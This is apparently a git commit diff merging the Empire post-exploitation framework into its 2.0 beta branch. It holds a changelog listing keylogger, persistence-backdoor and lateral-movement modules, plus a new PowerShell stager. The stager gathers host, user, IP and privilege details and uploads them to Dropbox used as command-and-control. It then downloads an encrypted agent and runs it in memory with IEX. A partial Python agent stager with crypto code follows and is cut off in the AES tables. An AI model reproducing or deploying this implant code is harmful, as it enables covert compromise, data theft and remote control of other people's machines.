Merge branch 'EmpireProject-master' into 2.0_beta

mdns
cobbr 2017-05-15 18:46:21 -05:00
commit 509280d361
26 changed files with 3865 additions and 187 deletions

2
.gitignore vendored
View File

@ -9,3 +9,5 @@ LastTask*
data/obfuscated_module_source/*.ps1
data/misc/ToObfuscate.ps1
data/misc/Obfuscated.ps1
setup/xar*
setup/bomutils/*

View File

@ -10,7 +10,6 @@ Empire is developed by [@harmj0y](https://twitter.com/harmj0y), [@sixdub](https:
Feel free to join us on Slack! http://adaptiveempire.herokuapp.com/
Feel free to join us on Slack! http://adaptiveempire.herokuapp.com/
## Contribution Rules

View File

@ -1,6 +1,41 @@
Running
5/15/2017
---------
-Fix for issue 340 Added pip install setuptools and apt-get install libssl-dev
-Version 2.0 Master Release
-Merge of Empyre and Empire projects
-Fix REST API
-Add Dropbox Listener
-Add support for IPv6 agents and listener
-Add DCOM lateral movement module
-Add module - Sudo Piggyback + Mail Persistence + Bash Profile Backdoor #357
-Add USB ETW Keylogger #396
-Fix dcos modules and fixed pyinstaller #403
-Fix agent staging over http_hop listeners #404
-Fixed Get-SPNTicket multiple user SPNs bug #405
-Fix issue with Invoke-Shellcode Meterpreter stager #414
-Fix code_execution/invoke_reflectivepeinjection hangs empire if an invalid path is provided to DllPath #421
-Fix for PowerShell code in Invoke-PSInject too long #423
-Fix for agent shell commands #424
-Fix prompt line wrapping #430
-Fix screenshot module #435
-Add PowerUpSQL Modules #437
-Add module to monitor TCP connections #438
-Fix DLL stager #449
-Add VNC Inject #452
-Add HTTP headers to avoid proxy caching #455
-Fix hard-coded path in the OSX screenshot module. #465
-Add a module for wlrmdr.exe popup #472
-Add a module for SOCKSv5 proxy #478
-Fix bug in HTTP handler that can throw exceptions while parsing Cookies #479
-Add a BashBunny HID stager #480
-Update Inveigh 1.3.1 Modules #483
-Add support for Arch Linux and rejigged the Unknown distro option #484
-Fix for issue #420 non-ascii bug #489
-Fix the listeners API call #490
-Fix PKCS7 padding to be RFC compliant #492
-Add custom headers if any #495
-Fix using netifaces() for getting iface #496
-Add Session Gopher module
-Fix for issue 340 Added pip install setuptools and apt-get install libssl-dev
9/23/2016

View File

@ -561,7 +561,12 @@ function Invoke-Empire {
param($bytes)
# get a random IV
$IV = [byte] 0..255 | Get-Random -count 16
$AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
try {
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
}
catch {
$AES=New-Object System.Security.Cryptography.RijndaelManaged;
}
$AES.Mode = "CBC";
$AES.Key = $Encoding.GetBytes($SessionKey);
$AES.IV = $IV;
@ -585,7 +590,12 @@ function Invoke-Empire {
# extract the IV
$IV = $inBytes[0..15];
$AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
try {
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
}
catch {
$AES=New-Object System.Security.Cryptography.RijndaelManaged;
}
$AES.Mode = "CBC";
$AES.Key = $Encoding.GetBytes($SessionKey);
$AES.IV = $IV;

View File

@ -0,0 +1,210 @@
function Start-Negotiate {
param($T,$SK,$PI=5,$UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
function ConvertTo-RC4ByteStream {
Param ($RCK, $In)
begin {
[Byte[]] $S = 0..255;
$J = 0;
0..255 | ForEach-Object {
$J = ($J + $S[$_] + $RCK[$_ % $RCK.Length]) % 256;
$S[$_], $S[$J] = $S[$J], $S[$_];
};
$I = $J = 0;
}
process {
ForEach($Byte in $In) {
$I = ($I + 1) % 256;
$J = ($J + $S[$I]) % 256;
$S[$I], $S[$J] = $S[$J], $S[$I];
$Byte -bxor $S[($S[$I] + $S[$J]) % 256];
}
}
}
function Decrypt-Bytes {
param ($Key, $In)
if($In.Length -gt 32) {
$HMAC = New-Object System.Security.Cryptography.HMACSHA256;
$e=[System.Text.Encoding]::ASCII;
# Verify the HMAC
$Mac = $In[-10..-1];
$In = $In[0..($In.length - 11)];
$hmac.Key = $e.GetBytes($Key);
$Expected = $hmac.ComputeHash($In)[0..9];
if (@(Compare-Object $Mac $Expected -Sync 0).Length -ne 0) {
return;
}
# extract the IV
$IV = $In[0..15];
$AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
$AES.Mode = "CBC";
$AES.Key = $e.GetBytes($Key);
$AES.IV = $IV;
($AES.CreateDecryptor()).TransformFinalBlock(($In[16..$In.length]), 0, $In.Length-16)
}
}
# make sure the appropriate assemblies are loaded
$Null = [Reflection.Assembly]::LoadWithPartialName("System.Security");
$Null = [Reflection.Assembly]::LoadWithPartialName("System.Core");
# try to ignore all errors
$ErrorActionPreference = "SilentlyContinue";
$e=[System.Text.Encoding]::ASCII;
$SKB=$e.GetBytes($SK);
# set up the AES/HMAC crypto
# $SK -> staging key for this server
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
$IV = [byte] 0..255 | Get-Random -count 16;
$AES.Mode="CBC";
$AES.Key=$SKB;
$AES.IV = $IV;
$hmac = New-Object System.Security.Cryptography.HMACSHA256;
$hmac.Key = $SKB;
$csp = New-Object System.Security.Cryptography.CspParameters;
$csp.Flags = $csp.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore;
$rs = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList 2048,$csp;
# export the public key in the only format possible...stupid
$rk=$rs.ToXmlString($False);
# generate a randomized sessionID of 8 characters
$ID=-join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 8);
# build the packet of (xml_key)
$ib=$e.getbytes($rk);
# encrypt/HMAC the packet for the c2 server
$eb=$IV+$AES.CreateEncryptor().TransformFinalBlock($ib,0,$ib.Length);
$eb=$eb+$hmac.ComputeHash($eb)[0..9];
# if the web client doesn't exist, create a new web client and set appropriate options
# this only happens if this stager.ps1 code is NOT called from a launcher context
if(-not $wc) {
$wc=New-Object System.Net.WebClient;
# set the proxy settings for the WC to be the default system settings
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
}
# RC4 routing packet:
# sessionID = $ID
# language = POWERSHELL (1)
# meta = STAGE1 (2)
# extra = (0x00, 0x00)
# length = len($eb)
$IV=[BitConverter]::GetBytes($(Get-Random));
$data = $e.getbytes($ID) + @(0x01,0x02,0x00,0x00) + [BitConverter]::GetBytes($eb.Length);
$rc4p = ConvertTo-RC4ByteStream -RCK $($IV+$SKB) -In $data;
$rc4p = $IV + $rc4p + $eb;
# the User-Agent always resets for multiple calls...silly
$wc.Headers.Set("User-Agent",$UA);
# add Dropbox specific args
$wc.Headers.Set("Authorization", "Bearer $T");
$wc.Headers.Set("Content-Type", "application/octet-stream");
# have to remove before adding a new value
$wc.Headers.Set("Dropbox-API-Arg", "{`"path`":`"REPLACE_STAGING_FOLDER/$($ID)_1.txt`"}");
# step 3 of negotiation -> client posts AESstaging(PublicKey) to the server
$Null = $wc.UploadData("https://content.dropboxapi.com/2/files/upload", "POST", $rc4p);
# step 4 of negotiation -> server returns RSA(nonce+AESsession))
Start-Sleep -Seconds $(($PI -as [Int])*2);
$wc.Headers.Set("User-Agent",$UA);
$wc.Headers.Set("Authorization", "Bearer $T");
$wc.Headers.Set("Dropbox-API-Arg", "{`"path`":`"REPLACE_STAGING_FOLDER/$($ID)_2.txt`"}");
$raw=$wc.DownloadData("https://content.dropboxapi.com/2/files/download");
$de=$e.GetString($rs.decrypt($raw,$false));
# packet = server nonce + AES session key
$nonce=$de[0..15] -join '';
$key=$de[16..$de.length] -join '';
# increment the nonce
$nonce=[String]([long]$nonce + 1);
# create a new AES object
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
$IV = [byte] 0..255 | Get-Random -Count 16;
$AES.Mode="CBC";
$AES.Key=$e.GetBytes($key);
$AES.IV = $IV;
# get some basic system information
$i=$nonce+'|'+$s+'|'+[Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName;
$p=(gwmi Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress);
# check if the IP is a string or the [IPv4,IPv6] array
$ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6];
if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'};
$i+="|$ip";
$i+='|'+(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0];
# detect if we're SYSTEM or otherwise high-integrity
if(([Environment]::UserName).ToLower() -eq "system"){$i+="|True"}
else {$i += '|' +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")}
# get the current process name and ID
$n=[System.Diagnostics.Process]::GetCurrentProcess();
$i+='|'+$n.ProcessName+'|'+$n.Id;
# get the powershell.exe version
$i += "|powershell|" + $PSVersionTable.PSVersion.Major;
# send back the initial system information
$ib2=$e.getbytes($i);
$eb2=$IV+$AES.CreateEncryptor().TransformFinalBlock($ib2,0,$ib2.Length);
$hmac.Key = $e.GetBytes($key);
$eb2 = $eb2+$hmac.ComputeHash($eb2)[0..9];
# RC4 routing packet:
# sessionID = $ID
# language = POWERSHELL (1)
# meta = STAGE2 (3)
# extra = (0x00, 0x00)
# length = len($eb)
$IV2=[BitConverter]::GetBytes($(Get-Random));
$data2 = $e.getbytes($ID) + @(0x01,0x03,0x00,0x00) + [BitConverter]::GetBytes($eb2.Length);
$rc4p2 = ConvertTo-RC4ByteStream -RCK $($IV2+$SKB) -In $data2;
$rc4p2 = $IV2 + $rc4p2 + $eb2;
# the User-Agent always resets for multiple calls...silly
Start-Sleep -Seconds $(($PI -as [Int])*2);
$wc.Headers.Set("User-Agent",$UA);
$wc.Headers.Set("Authorization", "Bearer $T");
$wc.Headers.Set("Content-Type", "application/octet-stream");
$wc.Headers.Set("Dropbox-API-Arg", "{`"path`":`"REPLACE_STAGING_FOLDER/$($ID)_3.txt`"}");
# step 5 of negotiation -> client posts nonce+sysinfo and requests agent
$Null = $wc.UploadData("https://content.dropboxapi.com/2/files/upload", "POST", $rc4p2);
Start-Sleep -Seconds $(($PI -as [Int])*2);
$wc.Headers.Set("User-Agent",$UA);
$wc.Headers.Set("Authorization", "Bearer $T");
$wc.Headers.Set("Dropbox-API-Arg", "{`"path`":`"REPLACE_STAGING_FOLDER/$($ID)_4.txt`"}");
$raw=$wc.DownloadData("https://content.dropboxapi.com/2/files/download");
Start-Sleep -Seconds $($PI -as [Int]);
$wc2=New-Object System.Net.WebClient;
$wc2.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$wc2.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
$wc2.Headers.Add("User-Agent",$UA);
$wc2.Headers.Add("Authorization", "Bearer $T");
$wc2.Headers.Add("Content-Type", " application/json");
$Null=$wc2.UploadString("https://api.dropboxapi.com/2/files/delete", "POST", "{`"path`":`"REPLACE_STAGING_FOLDER/$($ID)_4.txt`"}");
# decrypt the agent and register the agent logic
IEX $( $e.GetString($(Decrypt-Bytes -Key $key -In $raw)) );
# clear some variables out of memory and cleanup before execution
$AES=$null;$s2=$null;$wc=$null;$eb2=$null;$raw=$null;$IV=$null;$wc=$null;$i=$null;$ib2=$null;
[GC]::Collect();
# TODO: remove this shitty $server logic
Invoke-Empire -Servers @('NONE') -StagingKey $SK -SessionKey $key -SessionID $ID;
}
# $ser is the server populated from the launcher code, needed here in order to facilitate hop listeners
Start-Negotiate -T $T -PI "REPLACE_POLLING_INTERVAL" -SK "REPLACE_STAGING_KEY" -UA $u;

View File

@ -0,0 +1,895 @@
#!/usr/bin/env python
# AES code from https://github.com/ricmoo/pyaes
# DH code from Directly from: https://github.com/lowazo/pyDHE
# See README.md for complete citations and sources
import copy
import sys
import struct
import os
import pwd
import hashlib
import random
import string
import hmac
import urllib2
import socket
import subprocess
import time
from binascii import hexlify
LANGUAGE = {
'NONE' : 0,
'POWERSHELL' : 1,
'PYTHON' : 2
}
LANGUAGE_IDS = {}
for name, ID in LANGUAGE.items(): LANGUAGE_IDS[ID] = name
META = {
'NONE' : 0,
'STAGING_REQUEST' : 1,
'STAGING_RESPONSE' : 2,
'TASKING_REQUEST' : 3,
'RESULT_POST' : 4,
'SERVER_RESPONSE' : 5
}
META_IDS = {}
for name, ID in META.items(): META_IDS[ID] = name
STAGING = {
'NONE' : 0,
'STAGE0' : 1,
'STAGE1' : 2,
'STAGE2' : 3
}
STAGING_IDS = {}
for name, ID in STAGING.items(): STAGING_IDS[ID] = name
ADDITIONAL = {}
ADDITIONAL_IDS = {}
for name, ID in ADDITIONAL.items(): ADDITIONAL_IDS[ID] = name
# If a secure random number generator is unavailable, exit with an error.
try:
try:
import ssl
random_function = ssl.RAND_bytes
random_provider = "Python SSL"
except (AttributeError, ImportError):
import OpenSSL
random_function = OpenSSL.rand.bytes
random_provider = "OpenSSL"
except:
random_function = os.urandom
random_provider = "os.urandom"
class DiffieHellman(object):
"""
A reference implementation of the Diffie-Hellman protocol.
By default, this class uses the 6144-bit MODP Group (Group 17) from RFC 3526.
This prime is sufficient to generate an AES 256 key when used with
a 540+ bit exponent.
"""
def __init__(self, generator=2, group=17, keyLength=540):
"""
Generate the public and private keys.
"""
min_keyLength = 180
default_generator = 2
valid_generators = [2, 3, 5, 7]
# Sanity check fors generator and keyLength
if(generator not in valid_generators):
print("Error: Invalid generator. Using default.")
self.generator = default_generator
else:
self.generator = generator
if(keyLength < min_keyLength):
print("Error: keyLength is too small. Setting to minimum.")
self.keyLength = min_keyLength
else:
self.keyLength = keyLength
self.prime = self.getPrime(group)
self.privateKey = self.genPrivateKey(keyLength)
self.publicKey = self.genPublicKey()
def getPrime(self, group=17):
"""
Given a group number, return a prime.
"""
default_group = 17
primes = {
5: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA237327FFFFFFFFFFFFFFFF,
14: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF,
15: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A93AD2CAFFFFFFFFFFFFFFFF,
16: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934063199FFFFFFFFFFFFFFFF,
17:
0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DCC4024FFFFFFFFFFFFFFFF,
18:
0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DBE115974A3926F12FEE5E438777CB6A932DF8CD8BEC4D073B931BA3BC832B68D9DD300741FA7BF8AFC47ED2576F6936BA424663AAB639C5AE4F5683423B4742BF1C978238F16CBE39D652DE3FDB8BEFC848AD922222E04A4037C0713EB57A81A23F0C73473FC646CEA306B4BCBC8862F8385DDFA9D4B7FA2C087E879683303ED5BDD3A062B3CF5B3A278A66D2A13F83F44F82DDF310EE074AB6A364597E899A0255DC164F31CC50846851DF9AB48195DED7EA1B1D510BD7EE74D73FAF36BC31ECFA268359046F4EB879F924009438B481C6CD7889A002ED5EE382BC9190DA6FC026E479558E4475677E9AA9E3050E2765694DFC81F56E880B96E7160C980DD98EDD3DFFFFFFFFFFFFFFFFF
}
if group in primes.keys():
return primes[group]
else:
print("Error: No prime with group %i. Using default." % group)
return primes[default_group]
def genRandom(self, bits):
"""
Generate a random number with the specified number of bits
"""
_rand = 0
_bytes = bits // 8 + 8
while(len(bin(_rand))-2 < bits):
try:
_rand = int.from_bytes(random_function(_bytes), byteorder='big')
except:
_rand = int(random_function(_bytes).encode('hex'), 16)
return _rand
def genPrivateKey(self, bits):
"""
Generate a private key using a secure random number generator.
"""
return self.genRandom(bits)
def genPublicKey(self):
"""
Generate a public key X with g**x % p.
"""
return pow(self.generator, self.privateKey, self.prime)
def checkPublicKey(self, otherKey):
"""
Check the other party's public key to make sure it's valid.
Since a safe prime is used, verify that the Legendre symbol == 1
"""
if(otherKey > 2 and otherKey < self.prime - 1):
if(pow(otherKey, (self.prime - 1)//2, self.prime) == 1):
return True
return False
def genSecret(self, privateKey, otherKey):
"""
Check to make sure the public key is valid, then combine it with the
private key to generate a shared secret.
"""
if(self.checkPublicKey(otherKey) is True):
sharedSecret = pow(otherKey, privateKey, self.prime)
return sharedSecret
else:
raise Exception("Invalid public key.")
def genKey(self, otherKey):
"""
Derive the shared secret, then hash it to obtain the shared key.
"""
self.sharedSecret = self.genSecret(self.privateKey, otherKey)
# Convert the shared secret (int) to an array of bytes in network order
# Otherwise hashlib can't hash it.
try:
_sharedSecretBytes = self.sharedSecret.to_bytes(
len(bin(self.sharedSecret))-2 // 8 + 1, byteorder="big")
except AttributeError:
_sharedSecretBytes = str(self.sharedSecret)
s = hashlib.sha256()
s.update(bytes(_sharedSecretBytes))
self.key = s.digest()
def getKey(self):
"""
Return the shared secret key
"""
return self.key
def _compact_word(word):
return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]
def _string_to_bytes(text):
return list(ord(c) for c in text)
def _bytes_to_string(binary):
return "".join(chr(b) for b in binary)
def _concat_list(a, b):
return a + b
def to_bufferable(binary):
return binary
def _get_byte(c):
return ord(c)
# Python 3 compatibility
try:
xrange
except Exception:
xrange = range
# Python 3 supports bytes, which is already an array of integers
def _string_to_bytes(text):
if isinstance(text, bytes):
return text
return [ord(c) for c in text]
# In Python 3, we return bytes
def _bytes_to_string(binary):
return bytes(binary)
# Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first
def _concat_list(a, b):
return a + bytes(b)
def to_bufferable(binary):
if isinstance(binary, bytes):
return binary
return bytes(ord(b) for b in binary)
def _get_byte(c):
return c
def append_PKCS7_padding(data):
if (len(data) % 16) == 0:
return data
else:
pad = 16 - (len(data) % 16)
return data + to_bufferable(chr(pad) * pad)
def strip_PKCS7_padding(data):
if len(data) % 16 != 0:
raise ValueError("invalid length")
pad = _get_byte(data[-1])
if pad <= 16:
return data[:-pad]
else:
return data
class AES(object):
'''Encapsulates the AES block cipher.
You generally should not need this. Use the AESModeOfOperation classes
below instead.'''
# Number of rounds by keysize
number_of_rounds = {16: 10, 24: 12, 32: 14}
# Round constant words
rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91]
# S-box and Inverse S-box (S is for Substitution)
S = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16]
